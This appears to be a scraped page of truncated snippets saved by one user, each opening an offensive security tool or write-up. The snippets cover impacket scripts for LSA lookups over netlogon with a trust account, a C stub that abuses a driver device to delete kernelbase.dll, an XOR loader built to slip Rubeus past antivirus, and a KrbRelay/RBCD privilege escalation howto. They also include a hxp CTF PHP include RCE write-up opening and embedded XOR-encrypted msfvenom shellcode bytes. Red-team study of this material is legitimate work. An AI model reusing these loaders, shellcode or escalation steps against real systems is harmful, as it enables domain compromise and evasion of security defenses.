mukarramkhalid

from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc
from impacket.uuid import bin_to_uuidtup
from binascii import unhexlify
from random import randbytes
import sys

# Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
# Pure TCP RPC is used (ncacn_ip_tcp option)
# RC4 is used here because to use AES, impacket must be patched
# Tested with impacket 0.12.0 on GOAD

mukarramkhalid

from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc
from impacket.uuid import bin_to_uuidtup
from binascii import unhexlify
from random import randbytes
import sys

# Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
# Pure TCP RPC is used (ncacn_ip_tcp option)
# AES is used, so you need impacket #1848 (https://github.com/fortra/impacket/pull/1848)
# Tested with impacket 0.12.0 on GOAD

mukarramkhalid

title	author	date	source	notoc
LDAP Search Filter Cheatsheet	Jon LaBelle	January 4, 2021	https://jonlabelle.com/snippets/view/markdown/ldap-search-filter-cheatsheet	true

LDAP Search Filter Cheatsheet

mukarramkhalid

#include <Windows.h>
#include <stdio.h>

const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";

int main() {
	DWORD dwReturnVal = 0;
	DWORD dwBytesReturned = 0;
	BOOL bRes = FALSE;

mukarramkhalid

#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#

import argparse
from Crypto.Cipher import AES
import pyscrypt
from base64 import b64encode

mukarramkhalid

/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader

This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
		To encrypt the initial binary you can use my Python transformFile.py script.
		Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor
		

mukarramkhalid

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

• LDAP signing not required on Domain Controller (default!)

mukarramkhalid

# ldapsearch parser for bofhound v0.2.0, useful for environments that have ldap signing/binding and require kerberos auth.
## parsing to mach data from: https://github.com/coffeegist/bofhound/blob/0a9753c85e70233996c0f2c045ff44963ef42d68/tests/test_data/ldapsearchpy_logs/ldapsearch_516-objects.log

# $> ldapsearch -LLL -o ldif-wrap=no -E '!1.2.840.113556.1.4.801=::MAMCAQc=' -H ldap://<server> -Y GSSAPI -N -b "DC=<server>,DC=<com>" "(&(objectClass=*))" > ldapsearch_output.txt

import argparse
import base64
import struct

# add support for msDS-KeyCredentialLink, havnt got test data to test from atm.

mukarramkhalid

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

The challenge

The challenge was to achieve RCE with this file:

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read this writeup from the challenge author).

I didn't solve the challenge during the competition - here is a writeup from someone who did - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.

mukarramkhalid

#include <cstdint>

// x86_64-w64-mingw32-g++ -lstdc++ -static -O3 -s -DPAYLOAD_SIZE=276 ./byorwx.cpp ./section.S -o ./byorwx.exe

// msfvenom -p windows/x64/exec -f c CMD=calc.exe --encrypt xor --encrypt-key abcdef
unsigned char buf[] =
"\x9d\x2a\xe0\x80\x95\x8e\xa1\x62\x63\x64\x24\x37\x20\x32"
"\x31\x35\x33\x2e\x50\xb0\x06\x2c\xee\x34\x01\x2a\xe8\x36"
"\x7d\x2e\xea\x30\x43\x2c\xee\x14\x31\x2a\x6c\xd3\x2f\x2c"
"\x2c\x53\xaa\x2c\x54\xa6\xcd\x5e\x02\x18\x67\x4a\x41\x23"